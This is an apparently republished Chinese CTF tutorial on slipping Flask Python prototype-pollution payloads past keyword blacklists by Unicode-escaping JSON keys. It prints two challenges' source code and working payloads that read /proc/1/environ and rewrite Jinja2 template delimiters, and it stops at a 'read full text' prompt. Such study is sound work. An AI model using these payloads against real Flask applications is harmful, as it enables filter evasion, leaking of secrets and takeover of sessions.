专栏名称: 衡阳信安
船山院士网络安全团队唯一公众号,为国之安全而奋斗,为信息安全而发声!
目录
相关文章推荐
柠檬工会  ·  起猛了,百度接入DeepSeek R1满血版了! ·  18 小时前  
一口老井  ·  董小姐的棋局,是妙招还是险棋? ·  22 小时前  
一口老井  ·  董小姐的棋局,是妙招还是险棋? ·  22 小时前  
仙桃电视台  ·  “比价神器”来了!仙桃人买药必看 ·  昨天  
仙桃电视台  ·  “比价神器”来了!仙桃人买药必看 ·  昨天  
常州日报  ·  来了!陶喆演唱会常州站! ·  3 天前  
常州日报  ·  来了!陶喆演唱会常州站! ·  3 天前  
51好读  ›  专栏  ›  衡阳信安

基于flask常见trick——unicode&进制编码绕过

衡阳信安  · 公众号  ·  · 2024-10-06 00:00

正文

前言

Flask 是一个轻量级的 Python Web 框架,设计上追求简洁和灵活性,适合构建中小型的 Web 应用程序。

其出题方便,经常能在CTF比赛中见到,常见题型有debug模式算pin码、ssti、原型链污染等,其中后两者属于通用漏洞,且在flask框架下有比较成体系的利用方式。

本文就编码bypass为线索,针对后两者聊下相关trick。

unicode编码绕过

字符转unicode编码脚本

def string_to_unicode(input_string):
# 将每个字符转换为 Unicode 转义序列
unicode_string = ''.join(f'\\u{ord(char):04x}' for char in input_string)
return unicode_string

# 测试字符串
input_string = "你好,世界!"

# 转换为 Unicode 编码
unicode_encoded = string_to_unicode(input_string)
print(f"Original String: {input_string}")
print(f"Unicode Encoded: {unicode_encoded}")

先做个小lab

import json

# 包含 Unicode 编码的 JSON 字符串
json_data = '{"message": "Hello, \\u4e16\\u754c"}' # \\u4e16\\u754c 表示 "世界"

# 使用 json.loads 解析
parsed_data = json.loads(json_data)

# 输出解析结果
print(parsed_data["message"]) # 输出: Hello, 世界

为什么呢?

Python 的 json 模块根据 JSON 的规范设计,它会自动检测并解析 Unicode 转义序列(如 \uXXXX 格式),将其转换为相应的 Unicode 字符。所以在调用 json.loads() 时,无需额外处理,它会自动将 JSON 中的 Unicode 字符解析为 Python 的 Unicode 字符串。

而json.loads频繁出现在前后端交互中,如果后端的waf在json.loads之前就对流量监测,则存在unicode编码bypass的空间。

下面以两个题目为例

DASCTF2023七月暑期挑战赛EzFlask

题目链接:https://buuoj.cn/match/matches/188

源码

import uuid 
from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
for i in black_list:
if i in data:
return False
return True

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False

Users = []

@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"

@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)

./register可以打python原型链污染

https://tttang.com/archive/1876/

理想状态下用这个payload可以污染file,然后访问./即可读到环境变量里的flag

{"__init__" : {
"__globals__" : {
"__file__" : "/proc/1/environ"
}
}
}
}

而init被blacklist过滤了,幸运的是check是在json.loads之前执行的,可以用unicode编码绕过

{
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
"__globals__" : {
"__file__" : "/proc/1/environ"
}
}
}
}


XGCTF2024_easy_polluted

题目链接:https://ctf.show/challenges#easy_polluted-4403

源码

from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
random_string = os. urandom(16)
md5_hash = hashlib.md5(random_string)

return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


app = Flask(__name__)
c = generate_random_md5()

class evil():
def __init__(self):
pass

@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
print(session["username"])
print(session["password"])
Evil = evil()
if request.data:
print(request.data)
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
print(username)
print(password)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("flag.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

flag.html

/可以原型链污染,改掉app.secretkey之后访问/admin拿到flag

并且flag.html不是正常的渲染格式{},所以也要污染掉模板字符串

同样用unicode编码绕过黑名单

先污染jinja2模板字符串

{
"__init__" : {
"__globals__" : {
"app" : {
"jinja_env" :{
"variable_start_string" : "[#","variable_end_string":"#]"
}
}
}
}
{

"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {
"\u0061\u0070\u0070" : {
"\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076" :{"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"[#","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"#]"
}
}
}
}
}

再污染secretkey







请到「今天看啥」查看全文